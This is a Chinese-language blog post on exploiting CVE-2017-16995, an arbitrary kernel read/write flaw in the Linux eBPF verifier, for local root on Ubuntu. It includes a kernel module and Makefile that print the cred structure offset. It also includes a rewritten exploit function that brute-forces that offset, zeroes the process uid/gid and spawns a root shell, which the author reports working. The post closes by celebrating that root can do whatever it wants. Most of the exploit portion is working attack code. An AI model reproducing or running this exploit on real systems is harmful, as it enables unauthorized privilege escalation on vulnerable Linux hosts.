CVE-2017-16995

发表于

Ubuntu本地提权初探

漏洞描述

该漏洞存在于带有 eBPF bpf(2)系统（CONFIG_BPF_SYSCALL）编译支持的Linux内核中，是一个内存任意读写漏洞。该漏洞是由于eBPF验证模块的计算错误产生的。普通用户可以构造特殊的BPF来触发该漏洞，此外恶意攻击者也可以使用该漏洞来进行本地提权操作。

POC

原作者exp此处可下载(可能需要梯子，这里copy了一份)，然而直接运行，很多机器是无法提权成功的。

源代码注释头有说到:

if different kernel adjust CRED offset + check kernel stack size

针对这个魔鬼数字:CRED_OFFSET=0x5f8

魔鬼数字:CRED_OFFSET

这篇文章也说明了真相：

cred结构体的偏移量可能因为内核版本不同、内核编译选项不同而出现差异，作者给的exp偏移量是写死的

此文作者也给出了一种应对之策：

获取cred offset常量（一）

通过以下方法可获取这个cred offset:

1、getCredOffset.c

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#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/kthread.h>
#include <linux/errno.h>
#include <linux/types.h>
int init_module()
{
    printk("[!]current cred offset:%x\n",(unsigned long)&(current->cred)-(unsigned long)current);
    return 0;
}
void cleanup_module()
{
    printk("module cleanup\n");
}

2、Makefile

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obj-m += getCredOffset.o
 
all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
         
clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

3、编译

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make

4、执行

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sudo insmod getCredOffset.ko

该命令需要有sudo权限的用户执行，通过insmod命令将getCredOffset模块注入内核

5、获取cred offset

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dmesg | grep "cred offset"

另开一个命令行执行该命令即可获取到cred offset，最后替换掉原exp中的偏移量即可成功提权。

然而，虽提权成功了，但此法有点怪异，本来想普通用户提权，但却需要用root用户执行命令来协助，有点力不从心。

那么问题又来了，该如何在不同的机器上动态获取这个cred offset呢？

获取cred offset常量——暴力尝试

经过上文作者的点拨：

这个漏洞是个任意地址读写漏洞，所以也可以在确定task_struct地址之后，以当前用户的uid为特征去搜索内存，毕竟cred离task_struct不远。

加上代码中有多处__read命令，以及getuid()命令，这两个命令都可以读取uid。 首先想到的是在往uidptr对应的地址中写0之前获取此时的uid值，通过以上两种方式对比看有什么差异：

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printf("uidptr      = %lx\n", uidptr);
uid_get=getuid();
uid_read=__read(uidptr);
printf("uid get=%lx,read=%lx\n",uid_get, uid_read);

__write(uidptr, 0); // set both uid and gid to 0

if (getuid() == 0) {
	printf("spawning root shell\n");
	system("/bin/bash");
	exit(0);
}

果然如下图所示：

那么规律来了，我们可以尝试以不同的`cred offset`来获取两个`uid`来进行对比，一旦对比上，姑且就当做找到了这个“确定”的值，然后再去`write(0)`。修改`pwn`函数如下： 
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static void pwn(uint64_t credoffset) {
	uint64_t fp, sp, ts, credadd, credptr, uidptr, uid_get, uid_read;
	fp = __get_fp();
	if (fp < PHYS_OFFSET)
		__exit("bogus fp");
	
	sp = get_sp(fp);
	if (sp < PHYS_OFFSET)
		__exit("bogus sp");
	
	ts = __read(sp);

	if (ts < PHYS_OFFSET)
		__exit("bogus task ptr");

	printf("task_struct = %lx\n", ts);

	uid_get=getuid();
	for(credoffset=0x400;credoffset<0x800;credoffset++){
		credadd=ts + credoffset;
		printf("credadd     = %lx\n", credadd);
		credptr = __read(credadd); // cred
		printf("credptr     = %lx\n", credptr);
		if (credptr < PHYS_OFFSET){
			continue;
		}
		uidptr = credptr + UID_OFFSET; // uid
		if (uidptr < PHYS_OFFSET){
			continue;
		}
		printf("uidptr      = %lx\n", uidptr);
		uid_read=__read(uidptr);
		printf("uid get=%lx,read=%lx\n",uid_get, uid_read);
		if((uid_read&0xffffffff)==uid_get){
			printf("uid get=%lx,read=%lx\n",uid_get, uid_read);
			__write(uidptr, 0); // set both uid and gid to 0
			printf("cred_offset = %lx\n", credoffset);
			if (getuid() == 0) {
				printf("spawning root shell\n");
				system("/bin/bash");
				exit(0);
			}
			printf("failed\n");
			break;
		}
	}
}

想到原作者Vitaly Nikolenko给的CRED_OFFSET=0x5f8，我这边通过rebeyond这里给出的方法获取的是0x670，猜测这个值应该范围不大，尝试了一下用0x400~0x800爆破，很不幸，第一次尝试失败，被系统给killed掉啦：

调整一下范围：0x500~0x800，ok 搞定！

不同机器此CRED_OFFSET偏移量可能还有差异，可以视情况稍微调整一下范围，试出结果应该不难。

最后来体验一把提权后带来的快感，root用户想干嘛干嘛，如图：

完整代码见这里。

参考链接：